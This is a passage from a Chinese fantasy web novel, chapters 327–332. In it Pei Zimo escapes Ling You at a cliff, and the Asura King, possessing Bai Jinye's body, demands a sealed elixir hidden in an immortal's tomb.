“原来你不过是想利用凌珞,帮你下去拿东西,现在他的使命完成了,所以你也不在意他的死活了。”裴子墨嗤笑一声,“看样子,当时‘神傀公’的妹妹找上裴黎的时候,说的话也不是假的,她说你接近裴黎,就是为了圣女一脉的秘密,你是为了跟裴黎学术法吧?” “你可真是打得好算盘,大概是‘神术公’那一脉当时没有跟你年纪相仿的女子,你就把目光落在圣女一脉,后来又让凌珞娶了柳浅,但是他娶柳浅,真正的受益人,恐怕也是你吧。” “凌幽你瞧你活得多失败,这一生活下来,妻子儿子都是自己的棋子,后代又被你拿去喂修罗,你活了上千年,可是身边连个知冷知热的人都没有,就算是成仙,又有什么意思?你这一生全都是算计。你算计别人,应该也害怕别人算计你,那你能睡上一个安稳觉么?” 凌幽看了裴子墨一眼,没再接话,而是继续道,“我还算到,你死了之后,白锦夜就会殉情,这断崖之下,以前是仙冢,以后就是你们的合葬墓了。” “那也不错,你瞧瞧,还有人愿意为了我去死。你呢?你的儿子理都不愿意理你,至于你曾经的恋人……裴黎甚至想要跟你一起被镇压,真是可悲。”裴子墨又道。 “你别以为现在激怒我,我现在就会对你动手。”凌幽冷笑一声,“我不会破坏我算出来的卦象。” “那等他们出来,可且要等一会了。”裴子墨往断崖的方向看了看。 “是么?”凌幽微微眯了眯眼,微微停顿了片刻,便道,“我怎么感觉他们好像快要上来了呢。” 凌幽的话音落下,裴子墨也感觉到白锦夜的冥尸气息越来越近,果然是快要上来了,她笑了笑,闭上眼睛,“那按照你的卦象,我就乖乖等死好了。” 凌幽嗤笑了一声,转头看着断崖下面,隔了半响,突然道,“裴子墨,你干了什么?”他明明感觉到凌珞他们的气息越来越近了,可是突然间那气息又往断崖下面去了。 “我干了什么?”裴子墨睁眼笑着看着凌幽,“我在自保啊,你说他们上来,就是我的死期,那他们不上来,我不是就不会死了么?” 第327章 持卦人的运势 “混账!”凌幽提高声音骂了一句,“裴子墨,你找死!” 裴子墨一脸无辜地看着凌幽,“难道我说的有错么?他们一直不上来,我就一直不会死,那我们就耗在这好了。万一他们在下面有什么机缘,一不小心就成仙了呢,那样我们就不怕你了啊。” “凌珞!”凌幽转头看着断崖下面,“一炷香的时间,你如果不上来,我就把裴子墨扔下去!” “你如果把我扔下去,那卦祖的卦象可就不准了。”裴子墨好心提醒,“还挺让人为难的,是不是?” 凌幽没有理会她,而是继续看着断崖下面,“凌珞,我知道你能听见我的话,留给你考虑的时间可不多了。” 趁着他的注意力都在断崖那边,裴子墨的手微微动了下。 躺在地上的左辞睁开了眼睛。 他看了裴子墨一眼,又假装着还在继续打呼噜,然后慢慢的往一边的草丛爬去。 等身形全都被草丛掩住之后,就迅速的起身往山下跑了。 凌幽本来也没怎么注意过左辞这个人,所以根本就没有发现左辞不见了。 左辞刚刚清晰的听见裴子墨在他的耳边低声说了一个地点,一个名字——暗城,楚星玄。 他知道楚星玄也是北冥国人,看样子只能赶紧去找他了。 断崖这边,一炷香之后,下面依旧没有任何反应。 凌幽把裴子墨抓过来,往断崖的方向推了推,“凌珞,你既然不上来,那就接好了,我看你是不是能接得住。” 裴子墨笑着看着凌幽,“上次你让裴黎把我扔到深渊之下的时候,不就演练过了?事实证明我不会被摔死,不过你要是再扔一次,我也不介意再给你演示一次。” “那我就看你这次是不是还能嘴硬。”凌幽说着就要动手。 “可惜啊,到时候你就只能一个人等在这断崖之上。”裴子墨有些遗憾地道,“我们要是在这断崖之下,找到了其他的出路,你也不知道,你就只能像个傻子一样等在这。” “呵。”凌幽轻笑一声,“他们若是真的拿走了这断崖之下的东西,这里下去也就不需要黄泉路了,你们如果一直不上来,我就下去找你们。你们找到了路出去,我就天涯海角的追你们,看你们能跑到哪去。” 他说着又把裴子墨往前推了推,朝着断崖下面大喊,“凌珞,最后一次机会,她若是摔死了,你肯定也活不下来,到时候你拿到的所有的东西,可就都便宜别人了。” 凌幽的话音落下,可回应他的,就只有断崖下不断传出的回响。 他眯了眯眼,一手抓住裴子墨的肩膀,用力的把她向断崖的中间丢去。 裴子墨在脱离束缚的瞬间,回手一抓,把卦祖从凌幽的身上顺了过来。 她在薄雾之中往下掉了一段,随即便听到一声鸟鸣,她的身体稳稳的落在一片羽毛之中。 紫翅天鹏稳住身形,往上飞了飞,停在了凌幽的面前。 裴子墨笑着看着凌幽,“你刚才问我的问题,我可以回答你了,卦祖这东西算出来的卦象,确实是不可改变。但是上天有好生之德,任何人用卦祖算死期之时,都有一次改命的机会,改命的代价,就是持卦人的运势,看样子未来的一段时间,你都要走霉运了。” 她说着晃了晃手里的卦祖,“你说得对,这东西既然是我们圣女一脉的圣物,那我就应该好好收着,可不能让你这样的人,暴殄天物。” 紫翅天鹏仰头鸣叫了一声,俯身带着裴子墨回了深渊之下。 在一处平台上,紫翅天鹏停了下来,裴子墨也从它的背上跳下来。 白锦夜赶紧上前几步,拉住裴子墨的手,仔细地查看了下,见她完全没有受伤,才放下心来。 寒羽走到紫翅天鹏的面前,抬手摸了摸它的头,“真乖,等离开了这,我给你弄好吃的。” 紫翅天鹏对着寒羽叫了几声,就趴在了一边,打起了瞌睡。 裴子墨四下看了看这个平台,平台上湿气还挺重的,也离旁边的河水很近,看样子仙冢并不在水下,而是在这平台里,“你们找到了什么么?” “你过来看看。”白锦夜拉着裴子墨的手,往平台里面走。 平台连着的,是一个山洞,凌珞就靠在洞口边的岩石上,冷眼看着两个人拉着的手,随后冷哼了一声,转身进了山洞。 “我们一开始也以为仙冢会在水里。”白锦夜开口道,“不过走到这里的时候,紫翅天鹏就趴在这,这鸟肯定也不是生活在水里的鸟,所以我们猜应该就是在这了。”他说着顿了顿,又补充,“那鸟还没能化人形,也不会说话,好在它和寒羽能交流。” 这一次,带着寒羽下来,看样子确实是没错。 不然紫翅天鹏就挡在这平台上,不让他们进去,他们也没办法。 况且如果不是它,裴子墨大概率是要直接摔下来的。 上一次裴黎是顺着崖边把她扔下来的,她能靠着崖壁缓冲。 但是这一次凌幽把她扔得距离崖壁很远,她根本没办法以任何东西做缓冲,即便是可以用术法止一些下降的速度,但是术法没有着力点,发挥出来的效果也是微乎其微。 裴子墨转头看着寒羽,低声对他道了谢。 “左辞呢?他没事吧?”寒羽赶紧问,他对气息更加敏感,所以他能感觉到左辞也是来了的,现在裴子墨下来了,那左辞一个人在上面会不会有危险? “我让他先走了。”裴子墨开口道,“凌幽应该不会为难他。” 这句话裴子墨没有说的太直白,凌幽之所以不会为难左辞,是因为在凌幽的眼里,左辞大概和一只蚂蚁对他的威胁差不多。 寒羽冷哼一声,“我早晚要吃了这老家伙。”说完又看向凌珞,“看什么看,到时候连你一起吃。” 凌珞没理寒羽,只是看向紫翅天鹏,轻叹了一口气道,“希望你将来化了人形的时候,可不要像他这么傻。” 第328章 那看样子死的只有白锦夜了 沿着山洞往里面走,裴子墨轻轻皱起眉头,“可是寒羽的那个故事里不是说,这个仙人被他的徒弟打死扔到断崖之下,既然都已经死了,又怎么会在山洞里?” “那故事传了很多年,不知道哪里传出了问题。”凌珞在旁边道,“再说,就算没传错,有些人自己智商不够,可能记错了也说不定。” 寒羽对着凌珞冷哼一声,表情显然是不愿意跟他一般见识,主要也是因为眼前的情况跟他记忆里的故事完全不一样,这样一来,他甚至都不知道是不是自己记错了。 洞口外面还有些潮湿,但是往里面走了一段,就变得干爽了。 又走了一段之后,便到了一处开阔的平地,旁边有一个巨大的鸟窝,鸟窝的旁边有些碎了的蛋壳。 寒羽看着那些蛋壳有些悲伤的道,“紫翅天鹏说它每隔五百年才能下一颗蛋,可是这么多年,它下了这么多蛋,也没有一颗蛋能孵出小鸟来。” 裴子墨有些尴尬地看了看白锦夜。 凌珞忍不住无语,“哦?你有没有建议它去找一只公的紫翅天鹏,说不定鸟蛋就能孵出小鸟了。我看你也不错,不然你俩对付对付,就是不知道修罗和紫翅天鹏在一起,能孵出什么来了。” 寒羽眨巴着眼睛看了凌珞好一会,才转头看向白锦夜,“他是在骂我么?” 白锦夜轻咳了一声,“人类要一男一女才能繁衍后代,我想紫翅天鹏应该也是一样吧。” 寒羽挠了挠头,“好吧,回头我跟它说一声。” “可惜啊,这世上恐怕再没有另外一只紫翅天鹏咯。”凌珞摊了摊手。 鸟窝再往里面走,就是一个石头平台。 平台很是方正,表面也很光滑,上面刻了很多字,只不过这些字和他们所认识的文字并不一样。 裴子墨走过去,弯腰认真地看着平台上的文字,隔了好一会,才转头看向凌珞,“你看这个字,是不是很像最早的那个‘药’字?” 凌珞拧眉看了好半天,如今文字变化,和千年前相比都有了很大的变化,更别说在裴子墨最早的那个年代。而且他太多年没有见过以前的那些文字,也是想了好一会才有些迟疑地点点头,“像是。” 裴子墨拧起眉,“所以这可能是要比我们那个时候,还要更古老的文字,不管这里是不是曾经住过一位仙人,如果能知道这些文字写的是什么意思,大概就能知道当时发生了什么事了。” 她说着便要找东西把文字拓下来。 “已经拓了。”白锦夜拉住她。 “除了这个,就没有别的什么了么?”裴子墨开口问道。 白锦夜摇了摇头。 裴子墨转头看向寒羽,“你新交的那位朋友,有没有说这里还有什么东西?” 寒羽向来不会撒谎,他的脸色有些古怪,隔了会才说,“是有东西,不过……你们到底什么时候送我回地府?” “哟,都会讲条件了。”凌珞笑着看着寒羽,“不错,有进步呢。” 寒羽冷哼一声,“你们早就答应了我,会送我回去的。” 白锦夜微微沉默了会,看了看裴子墨,才开口道,“眼下,我确实不知道该怎么送你回去,不过我可以先带你去见见你爹,也许他会有什么办法,让我能把你送回去。” “真的么?”寒羽眼底闪过一抹欣喜。 白锦夜点点头。 反正眼下也没有别的路出去,凌幽还在断崖上方,闲着也是闲着。 白锦夜就带着寒羽在梦中去了趟地府。 凌珞看着两个人入睡,对着裴子墨使了个眼色。 裴子墨跟他往鸟窝的方向走了几步。 凌珞伸手在鸟窝的羽毛里面翻了翻,拿出来了一个木头盒子,扔了过来。 “你早就知道?”裴子墨挑了挑眉,“但是你之前不说,是打算之后自己一个人下来拿?” 凌珞笑得有些无奈,“下来的路上,我试探过白锦夜,你几乎没有告诉他任何事,看样子以后的事情,像是也不打算把他牵扯进来,那这个又何必告诉他?” “你开始会为人着想了?”裴子墨说着抬手打开木头盒子,里面是一本书,只不过书上的文字和平台上的文字一样,眼下都无法识别。 她轻轻皱起眉头,“看样子,就算拿到了这东西,想要读懂,也需要不少时间。” “圣殿里不是有很多古籍。”凌珞开口道,“回去找一找,对照着看看,也许能大概知道是什么。”他说着目光落在寒羽身上,“兽类就是兽类,两个兽在那边低声嘀嘀咕咕叽叽喳喳半天,可这山洞里,还有哪个地方能藏东西了?那鸟也不傻,显然就会把这东西放在离自己最近的地方。” 裴子墨也忍不住笑了笑,“不过那紫翅天鹏肯定也是知道什么的,它在这里守了这么多年都不离开,一定是有原因的。” 凌珞微微点点头,“当然也不排除这里还有其他的东西,等他们从地府回来再说吧。” 裴子墨转头看向凌珞,“凌幽会不会恼羞成怒通知遁世岛?” 凌珞轻轻摇了摇头,但很快目光就落在裴子墨的身上,“不是拿到了卦祖,自己算一卦不就知道了。” 裴子墨沉默了会,看着白锦夜和寒羽一时半会也不会回来的模样,便拿着卦祖开始起卦。 凌珞在一边闲着无聊,从鸟窝里拽了几根长长的鸟羽出来,拿在手上把玩。 裴子墨也不只是起了一卦,拿着一段小木枝,在旁边写写画画,像是遇到了什么难题,再次起卦,再次写写画画。 看的凌珞都有点困了,裴子墨才抬起头,脸上带着一丝苦笑,“看样子,我们要离开这,是一定要死一个人了。” 凌珞玩着鸟羽的手顿了顿,抬眼看了白锦夜一眼,“你要这么说,还不如直接说,我们要离开这,我就得死了。” “我不是这个意思。”裴子墨拧起眉。 “你会护着他,不会看着他死,那同样的人,我也不会看着你死。”凌珞说着微微眯了眯眼,“你说死一个人?”他说完忍不住笑出声,“那看样子死的只有白锦夜了,毕竟咱俩共命,死一个,另外一个也会死,不是么?” 第329章 你占谁便宜呢? 裴子墨从凌珞的身上收回目光,低头看着卦象,没再说话。 凌珞皱了下眉头,走过去,把地上的卦象用脚抹掉。 裴子墨抬头瞪他,“你干什么?” “何必再看?”凌珞转身回去重新坐下,“你要是担心,我们现在就把共命这个解除了,反正我活了这么多年,也活够了。” 裴子墨有点无语,“你这是说的什么话?如果没有人死不是更好么?” 凌珞轻笑一声,没再说话。 卦象被凌珞抹掉,裴子墨微微回忆了一下,但这会已经没了解卦的心思,于是干脆把那本书拿出来,一个字一个字的仔细研究,“若是在最开始,这书上的字,我说不定能认识一半,可是现在……” 她叹了口气,挠了挠头,“现在只是能零星的看出几个字,而且也是大概猜测。” 凌珞看着她,隔了会才问,“那你说,你想起来的术法还准确么?” 裴子墨抬眼看他,还没等说话,旁边的白锦夜和寒羽就醒了过来。 寒羽显然是一脸的激动,他已经上千年没有回过地府了,虽然在人世间也能活着,可是显然地府的环境更加适合他。 而且老修罗王那边找了他好多年,甚至以为他死了,没想到还活着。 虽然……还是不太聪明的样子,可跟千年前相比,已经有了很大的进步。 父子重逢,本来是有很多话要聊的,但是白锦夜着急回来,毕竟这边的情况还不确定,于是就赶紧问正事,要怎么才能把寒羽彻底送回来。 说到这个话题,老修罗王的脸色一下子就变了。 不过寒羽那边还没有察觉什么,回来之后,便迫不及待地想要跟裴子墨讲述自己看到的。 裴子墨对着他微微点点头,目光却落在白锦夜的身上,她眯了眯眼,站起身,脸上带着些许的防备。 “白锦夜”四下打量了一番,才看向寒羽,“羽儿,这就是你跟爹说的那几个朋友?” 寒羽转头看着白锦夜,一时还没有反应过来,“你占谁便宜呢?” “白锦夜”微微皱了下眉头,“羽儿,过来,离他们远一些。” 寒羽犹豫了半响,走到白锦夜身边,在他身上嗅了半天,最后一脸惊讶地道,“爹,你怎么来了?” “白锦夜”没理他,只是看向凌珞,他已经从凌珞的身上感受到了修罗血的气息,所以寒羽的事,八成是和他有关系的。 虽然没说话,但是气氛已经有些剑拔弩张了。 裴子墨把手里的书收好,转头和凌珞对视了一眼,两个人防御的同时,已经在准备从来路逃跑了。 “爹。”寒羽拉住“白锦夜”的胳膊,“他们不是坏人,坏人在崖上呢。爹,你快去把那个坏人打跑吧,就是他堵在崖上我们出不去,而且也是那个人把我从地府带上来的。” “白锦夜”沉默了会,收回目光,转头看向寒羽,“你说那个人就在上面?” 寒羽赶紧点头,“可惜了,我醒过来之后,一直没有碰上他,不然我肯定要给自己报仇的。” “白锦夜”点了点头,闭上眼睛,感受了一会气息,轻笑了一声,“不过就是个魂魄,也弱得很。”说完,他看向凌珞,“你身上有我儿的气息,你用过他的血,你敢做这种事,便是我修罗一族不共戴天的仇人,不过你若是现在去把崖上的那个魂魄收了,交给我,这事便一笔勾销。” 寒羽张了张嘴,他本来想说他也是不想放过凌珞的,但是毕竟之前说好了约法三章,下来之后私人恩怨要放在一边,而且看着凌珞好像和裴子墨的关系还不错,左辞又很在乎裴子墨,若是真的杀了凌珞,恐怕左辞会跟他生气的。 那要是凌珞能抓来凌幽,帮忙报仇了,他觉得凌珞的事确实也可以就算了。 可是,寒羽又挠了挠头,凌珞如果能抓来凌幽,他们也不需要躲在这里不敢上去了啊。 “你不是说他弱得很?那你怎么自己不去?”凌珞摊了摊手,“你认为弱得很的人,在我看来可不弱,而且你应该也能看出来,我根本不是他的对手,我现在上去,和去送死有什么分别?” “这么说,你是不肯去了?”“白锦夜”微微眯了眯眼,又看向裴子墨,“那你呢?你把他们两个都杀掉,我便放过你。” “不行不行。”这一次寒羽直接挡在了裴子墨的前面,“你不能伤害她。” “白锦夜”皱眉盯着寒羽,顿了半响,算是看在自己儿子的份上退了一步,“总之,不管你们两个谁去,快点去,我没那么多耐心,你们若是不去,你们的这位朋友在地府恐怕就回不来了,到时我就把他扔进炼魂谷……” “爹,不行,你不能把他扔进炼魂谷,他带我去见你,是好人的,咱们可不能恩将仇报。”寒羽又道,“要不是他,你现在还以为我已经死了呢,而且他还在想办法送我回地府呢,你怎么能这样对他啊,亏你还是修罗王呢。” “你!”老修罗王气得气息都喘不匀了,可是见着自己这个失而复得的儿子,怒火又怎么都发不出来,最终只能再退一步,看向裴子墨和凌珞,“总之我就在这等着,你们把他的魂魄拘来,用什么方法我不管。” 裴子墨皱了下眉,想要说话,却被凌珞拉住她的胳膊,转身往外走。 寒羽见状,赶紧跟了上去,“我帮你们。” “羽儿!”老修罗王叫了一声。 寒羽的脚步也没停,一边跟着他们两个往外走,一边转头道,“你放心吧,我就帮帮手,不会有危险的。” 凌珞拉着裴子墨走了一段,才低声道,“他借着白锦夜的身体,估摸着是术法受限,不然以修罗的火爆脾气,肯定是要直接上去找凌幽算账了。” 裴子墨点点头,“可是他占着白锦夜的身体,白锦夜就回不来,时间久了,也不是好事。” 凌珞沉默了会,道,“我去地府看看白锦夜现在是什么情况,只要魂魄没有受限,想要回自己的身体也不是难事。” 第330章 三样东西 裴子墨摇了摇头,“现在去不是什么好机会,修罗王不在,那边一定是防备的状态。”她说着转头看向寒羽,“你都跟你爹说什么了?你还记不记得,你们回来之前,白锦夜是什么状态?” 寒羽挠了挠头,他当时见到他爹真的好兴奋,想到什么就说什么,白锦夜是一直呆在旁边的,回来的时候,他好像一瞬间就回了自己的身体,还以为白锦夜带他回来的呢。 凌珞皱了下眉,想到了什么,突然拉上裴子墨的胳膊又往回走。 “怎么了?”裴子墨看着他问道。 “白锦夜刚才不是把寒羽讲过的那个故事告诉你了?修罗王给寒羽讲,他曾经来过这里,甚至想要吃过那个仙人的魂魄,可是没有办法。我们以为他是让我们去找凌幽是为了报仇,但是……他也有可能是支开我们。”凌珞转头看了裴子墨一眼,“这洞里一定还有什么,修罗王把我们支开,是想拿走那东西。” “可他如果想要拿那东西,也不至于等这么多年。”裴子墨皱起眉头,“他当年便来过,如果不死心,之后应该也有机会……”说到这,她顿了顿,可是按照规矩,修罗王甚至都不可以离开炼魂谷的。 据说曾经修罗在地府肆虐,被地府的人降服以后,才把他们流放到炼魂谷。 炼魂谷在地府本就是受刑之地,但难免有些人受不住炼魂谷之刑,会想要从炼魂谷逃跑,地府的人本来一直在为这件事头疼,有了修罗一族看守,这些年确实再也没有魂魄能逃出炼魂谷。 毕竟就算是逃出了炼魂谷,也逃不出修罗的魔爪。 去了炼魂谷的人,除了有极大的机缘,地府把人捞出来以外,剩下的,要么就是在炼魂谷里魂飞魄散,要么就是被修罗给吃了。 但也是因此,修罗一族也被限制在炼魂谷周围,他们是不得离开炼魂谷的。 那个故事如果是真的,修罗王真的能来的话,那应该也是地府的人带他来的。 “不过他当年没能拿走,现在也有可能还是拿不走。”裴子墨微微皱起眉头,“况且他现在借着白锦夜的身体,就算是拿到了什么,应该也没办法带回地府。” “是带不回去。”凌珞转头看向寒羽,“可他不是有个儿子在这么。” 寒羽也有些窘迫,隔了好一会,感觉自己可能是做了什么错事,才低声道,“白锦夜既然带我去了一趟地府,那我也应该把藏东西的地方告诉你们。” “不只是告诉我们,你应该已经先告诉你爹了吧?”凌珞开口问道。 “我也是见到我爹太开心了,就告诉他我认识了一个紫翅天鹏……”寒羽皱了下眉头,才继续道,“里面一共有三个东西,一个是一本书,那本书里到底写了什么,紫翅天鹏也不知道,它只是记得,它曾经的那位主人,生前一直拿着这本书,每天都在看,看了无数年,好像也没有看完。” 裴子墨和凌珞对视了一眼,估摸着那紫翅天鹏就是看这书一直被那位仙人拿在手里,认为这是好东西,才会放到自己的窝里。 “这本书就在紫翅天鹏的窝里。”寒羽继续道,“还有第二件东西,在那个石台之中,但是那个石台被仙人用阵法封住了,如果想要拿到那东西,就得先解开阵法,不然如果强行打开石台,里面的东西就会被一并毁掉。” “那个阵法紫翅天鹏也不知道怎么解开,它只是说,解开阵法的方法,就刻在那石台上,但是就算读懂石台上的字,也不一定会解开阵法,它说什么要靠机缘。当然这也不是它说的,都是那位仙人说的。” “那它有没有说,那石台中间是什么?”裴子墨开口问道。 “说了,好像是个什么丹药,那丹药上凝聚了仙人生前的功力,就算吃完不能全部吸收转化,也起码能有那仙人一半的能力。”寒羽点点头,“紫翅天鹏说,这么多年,它一直守在这里,其实就是为了这颗丹药,如果它能吃了这丹药,估摸着也能成人形了。” 裴子墨点点头,可惜紫翅天鹏一直守着,但是没有办法打开,估摸着它对着洞里其他的东西都不在意,但是对这丹药应该是极其在意的。 它现在就守在这洞口的出处的平台上,可能是知道这地方就只有那么一个出口,它就守在那,如果他们拿了丹药出来,它大概就会直接抢了。 不过这丹药眼下对他们来说,用处也不是很大,若是现在吃了,估计很快就要被遁世岛发现,到时候不见得是福是祸。 若是现在不吃,将来遇到危险的时候再吃,可能还要时间去消化药力,到时候若是药力还没发挥出来,就相当于白吃了。 “第三样东西,就是那位仙人生前多的法器。不过那法器好像是很厉害,仙人就把它藏起来了。藏的时候,让紫翅天鹏出去了,它只知道是藏在这洞里了,具体藏在哪,它也不知道。”寒羽又道,“总之,就是这三样东西。” “法器。”凌珞微微眯了下眼,“看样子暂时用得上的也就这东西了。” 寒羽想了想,又道,“之前下来的时候,你说这里面的东西见者有份,一共三样东西,正好你和我和白锦夜一人一个,我那个就给我爹了,我爹要是想要一样东西,你们就别跟他抢了。” 凌珞转头看了看寒羽,眼下那本书他们已经拿到了,里面就剩下不知道怎么破开阵法的丹药和不知道藏在哪的法器。 他也不太相信修罗王会一直把时间耗在这,他沉默了会,才开口问道,“你觉得,你爹会想要什么?” 寒羽眨了下眼,“我觉得,他可能想要那丹药,我说到丹药的时候,他就更开心了。” “修罗一族这么多年被地府压制,困在炼魂谷无法到处走动,若是修罗王的实力大涨……”裴子墨拧着眉,“那可不见得是好事。” 第331章 你真的要吃了我? 裴子墨说完这话,摸了下怀里的书,修罗王这会估摸着已经发现鸟窝里的书不见了,而且他刚来的时候,应该也看到她手里的书了,就算他只想要那个丹药,但是若是拿不到丹药,也未必不会退而求其次。 她停下了脚步,找了个地方,挖了个坑,把书放进去埋好。 凌珞看着寒羽,“这东西就算是白锦夜的了,你爹想要那丹药,那法器就是我的了。” 寒羽没有说话,但是看着裴子墨和凌珞这样防备他爹,脸上多少还是不开心的,他轻轻抿了抿唇,往旁边走了一步,跟他们拉开了一些距离。 裴子墨转头看了看他,轻轻叹了口气,有些事也没办法解释更多,只能藏好了书之后,继续往前走。 走到洞里的时候,便刚好见到“白锦夜”正围着石台走着,仔细地看着上面的字。 裴子墨看着他,“这石台上的字,修罗王你应该认识吧?” 修罗王太过认真,并且在白锦夜的身上,术法确实受限,所以一开始并没有感受到裴子墨他们已经回来了,听到声音,他才转过身,“这么快就回来,不像是拘到了魂魄的样子。” 裴子墨点点头,“确实,我们想了想,我们肯定不是崖上那人的对手,所以想来看看,这洞里有没有什么东西能帮帮忙。” 修罗王拧着眉,目光落在寒羽的身上。 寒羽有些尴尬,只能说,“爹,我答应他们了,只要他们带我去地府见你,我就把东西告诉他们。” 修罗王轻轻地叹了口气,这个傻儿子,别的没学会,这实诚倒是学了十成十,也不知道是跟谁学的,显然崖上的那个人,不可能有实诚这种好品质。 寒羽转身走到角落蹲下来,手指在地上画着圈圈,满脸都是不开心,他觉得之前跟左辞在一起的时候挺开心的,怎么原来做人要这么复杂? “羽儿,过来。”修罗王对他招了招手,“爹有话跟你说。” 寒羽蹲在那,没有动。 修罗王又叹了口气,转眼看向裴子墨和凌珞,“你们要从这里拿别的东西,我不要也不管,但是这丹药,我要定了。你们也看到了,我就这么一个儿子,这么多年,失而复得,我很开心。这修罗一族,我也是早晚要交到我这个儿子手上,以他……以他现在的心性,又怎么可能统管修罗一族?” “这丹药,就算拿到了,我也带不回地府,我只想留给羽儿,等他吃了这药,把药力全都消化了,将来再回地府,我对其他人说羽儿这些年是在外面历练,只要他能力足够,也能服众。不然,不然若是传出去,说这么多年羽儿流落在外,是被别人骗出了地府,那我……那我这老脸往哪搁?羽儿在修罗一族又如何立足?” 修罗王说得情真意切,就差再痛心疾首的流两滴眼泪了。 不过这话在寒羽听来,就是别的味道了,他抬头看着修罗王,眼里带着几丝受伤的神色,“爹,我是给你丢人了么?要不……我就不回地府了,我在这里有一个很好的朋友,要是回了地府,我也挺舍不得的。” “你这混账小子,说的什么胡话?”修罗王瞪了寒羽一眼,随即才又看向裴子墨和凌珞,“怎么样?我只要这枚丹药,刚才我看到你拿着那本书,你应该已经拿到一样东西了,至于那法器在哪,也没人知道,暂且也不必提。” “你想要这丹药,又是留给寒羽,我们自然没意见。”裴子墨点点头,“不过这阵法也不知道什么时候能破开,你也不能一直占着这身体,我们可以答应你,丹药拿到之后,一定给寒羽,那你是不是可以让我朋友回来了?” 修罗王的脸色微微一变,“你们这些人类,总是出尔反尔,我儿生性单纯,我要是走了,还不得被你们诓骗?” “我可以发誓。”裴子墨举起手,准备起誓。 “不行!”修罗王一甩袖袍,“我是一定要呆在这,亲眼看着我儿吃下这丹药我才会放心,不然我是绝对不会离开的。” “你执意如此,那我真是怀疑这药你是真的要留给寒羽,还是要自己吃了。”裴子墨轻笑一声,“我大概明白了,你现在也不知道要怎么把寒羽带回地府,但是修罗可以靠吃魂魄来增长自己的法力,所以你完全可以让寒羽把丹药吃了,等他把药力消化之后,再想办法让他的魂魄去地府。” “他对你这个爹肯定是不设防的,到时候你只要把他的魂魄吃掉,虽然药效这样,又要打掉一丝折扣,但是起码你也能吸收这丹药一半以上的药效,是么?” 寒羽有些惊讶地看着修罗王,“爹……她说的不会是真的吧?你真的要吃了我?” “你这混小子!”修罗王气得喘着粗气,“我可是你爹,我还能害你不成?你听一个外人的话,也不相信你爹么?” 寒羽向来耿直,就抬手指了指上面,又指了指凌珞,“崖上的那个人还是他爹呢,不也一样要杀他么?” “好,好!”修罗王抬手指着寒羽,“真是个好儿子!亏我还在为你着想,你这说的是什么混账话,看我不打死你!” 寒羽赶紧起身躲了几步,“我这不就是问问么,你要是没想吃我那不是更好么?” “总之,我拿不到丹药,你们这朋友也回不来。”修罗王说着冷笑一声,“你们既然不去崖上,那也别站在那浪费时间,可以过来跟我一起看看,这阵法要怎么解开,拿到解药,我立刻离开,你们这朋友就能回来了,不然——” “你们也应该知道,他的魂魄离体的时间太长,再回来可就难了。” “而且这地府的情况瞬息万变,我不在的时候,那些小修罗们做什么事,我可就控制不住了,万一一个不小心,把你们这朋友的魂魄给吃了……到时候可别怪我没有提前提醒你们!” 第332章 修罗一族的寿谱 裴子墨和凌珞对视一眼,才走上前,三个人围在石台边,顿了会,她才开口,“这上面的字,我们都完全不认识,修罗王你活了这么多年,这些字你应该认识吧?” 修罗王拧了拧眉,“地府的字,和你们人世间的字,可不相通。” “倒也是。”裴子墨点点头,所以看样子修罗王也是不知道这上面写的是什么了,怪不得他只想要丹药,不要那本书,恐怕是没办法读懂,而且这法器一类的东西,也没办法带到地府,眼下对于修罗王来说,确实只有这丹药是最实在的了。 可是修罗王也不认识这个字,他们几个人呆在这,不就是纯粹在消耗时间么? 对于他们来说消耗的是时间,对白锦夜来说,消耗的,可就是命了。 要么尽快破解这阵法,让修罗王心满意足的离开。 要么就得想办法把修罗王骗回去。 裴子墨拧着眉,虽然是在看着石台,但是早已心念电转,半响后,她低声道,“不知道那紫翅天鹏是不是知道这石台上的字是什么意思,它自己破解不了阵法,但是它可以把这些字翻译给我们啊。” 修罗王也是眼睛一亮,转头看向寒羽,“羽儿,你去把你的那位紫翅天鹏朋友叫进来,问问它认不认识石台上的字。” 寒羽起初有点不大情愿,但是也还是起身去了。 良久之后,才带着紫翅天鹏一起进来。 “它说了,它可以把这些字的意思说出来,但是里面的丹药,要给它。”寒羽看着里面的三个人,之前他就已经说了,紫翅天鹏守在这,就是为了这颗丹药,它都守了这么多年,怎么可能会把丹药拱手相让呢? “混……”修罗王正要骂人,但是想着还有求于紫翅天鹏,只好把嘴边的话咽了回去,他轻咳了一声,“若是它愿意把这意思说出来,等我们破开了阵法,拿到了药,也是可以给它的。” “同样是兽,你这样骗人家好么?”凌珞摸着石台上的字,若无其事地道。 “呵。”修罗丸低笑一声,“我可以不骗人,反正我也不着急,不然你们去说服它?” 裴子墨并不相信这颗药,修罗王是真的要留给寒羽,而且就像是她说的,就算是寒羽吃了,修罗王也同样有办法吸收药力。 当年修罗王确实是宠爱这个儿子,可是千年不见,修罗王虽然也没再有其他的孩子,但是他可能就更注重了手中的权势。 如果没有自己的继承人怎么办? 那当然最好就是自己一直活着,这样就不需要考虑继承人的问题了。 换句话说,就算要丹药能提升寒羽的能力,但他的心智却没办法再提升了,这样的人,真的合适做修罗王的接班人呢? 但若是这颗药,修罗王自己吃了,那结果可就大不相同了。 说不定修罗一族再也不用龟缩于炼魂谷,那么对于修罗一族来说,修罗王的功绩就是前所未有,他的地位只会更加巩固。 甚至于他还能跟地府谈一些条件,到时候百利无一害。 而地府若是吃了亏,一时拿修罗王没办法,就会在别人身上先撒撒气,那么他们这些帮着修罗王拿到丹药的人,自然首当其冲。 所以以当前的情况来说,这丹药,最好还是留给紫翅天鹏来吃。 她看了凌珞一眼,转身朝寒羽走过去,“寒羽,你带着它出来,我跟你们聊几句。” 在洞外面走了一段,裴子墨抬手设置了一个隔音的阵法,才对着两个人开了口。 凌珞知道裴子墨这肯定是有话想说,但是又不想被修罗王知道,所以才避开,他也就没话找话的转移修罗王的注意力,“我觉得,你除了给寒羽准备这丹药之外,最好再给他找些开灵智的丹药。” “其实天材地宝也未必没用,凌幽做的也不全都是坏事,起码他找到了清幽果给寒羽吃,不然寒羽也没办法化人形是吧?” 凌珞说着抬眼看向修罗王,“你现在恐怕在化人形这件事上,都不如寒羽吧?你可能能维持一会,但我感觉应该也持续不了太长时间。”他摸了摸下巴,眼底带着几丝探究的意味,“不过这清幽果也是几百年都难得一遇,想要再找一枚,也很难,找到了也带不去地府,我倒是想到……你如果吃了寒羽的魂魄,甚至还能吸收清幽果的药力,到时候你也能化人形了啊。” 